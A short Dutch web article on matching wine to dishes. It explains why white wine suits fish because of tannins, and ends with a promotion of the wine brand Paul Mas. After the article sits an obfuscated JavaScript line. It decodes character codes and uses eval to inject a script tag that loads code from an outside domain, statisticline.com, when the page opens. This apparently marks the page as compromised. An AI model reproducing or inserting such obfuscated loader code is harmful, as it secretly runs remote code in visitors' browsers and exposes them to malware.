Voor veel mensen is het een uitdaging om te bepalen welke wijn je nu moet kopen en bij welk gerecht deze past. Vaak wordt gezegd dat witte wijn past bij visgerechten en rode wijn bij vleesgerechten. Maar dit gaat niet altijd op.
Witte wijn bij een licht stuk vlees
Een eenvoudige vuistregel om te hanteren is, hoe lichter het stuk vlees, hoe lichter de wijn. Denk aan bijvoorbeeld kip of kalkoen. Hierbij is over het algemeen witte wijn een goede combinatie. Daarbij is de bereidingswijze ook nog eens van belang. Indien het gevogelte geroosterd wordt, kun je kiezen voor een rosé, lichte rode wijn of Chardonnay. Bij een barbecue is vaak een volle rode wijn als Cabernet Malbec of Cabernet Franc erg lekker.
Waarom wordt vis altijd gecombineerd met witte wijn en niet met rode wijn?
Dat is te verklaren door het tannine gehalte in de wijn. Tannines zijn namelijk chemische verbindingen in de wijn, de zogenaamde looizuren. Deze looizuren zijn afkomstig van de schillen, steeltjes en pitten van de wijn (of het vat waarin de wijn heeft gerijpt). Nu is het tannine gehalte in rode wijn vele malen hoger dan in witte wijn. De combinatie van visolie gemengd met hoge tannines, geeft een metaalachtige smaak. Witte wijn bevat in dit geval geen tot weinig tanines omdat alleen het sap (zonder schillen, pitten en steeltjes) gist. Dan voorkom je de metaalachtige smaak dus in combinatie met vis.
Paul Mas
De wijnkenners onder ons zullen het Franse wijnmerk Paul Mas ongetwijfeld kennen. Paul Mas heeft een breed assortiment wijnen van maar liefst 45 verschillende uiteenlopende variaties. Hiermee heb je dé geschikte wijn voor ieder gerecht!
var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
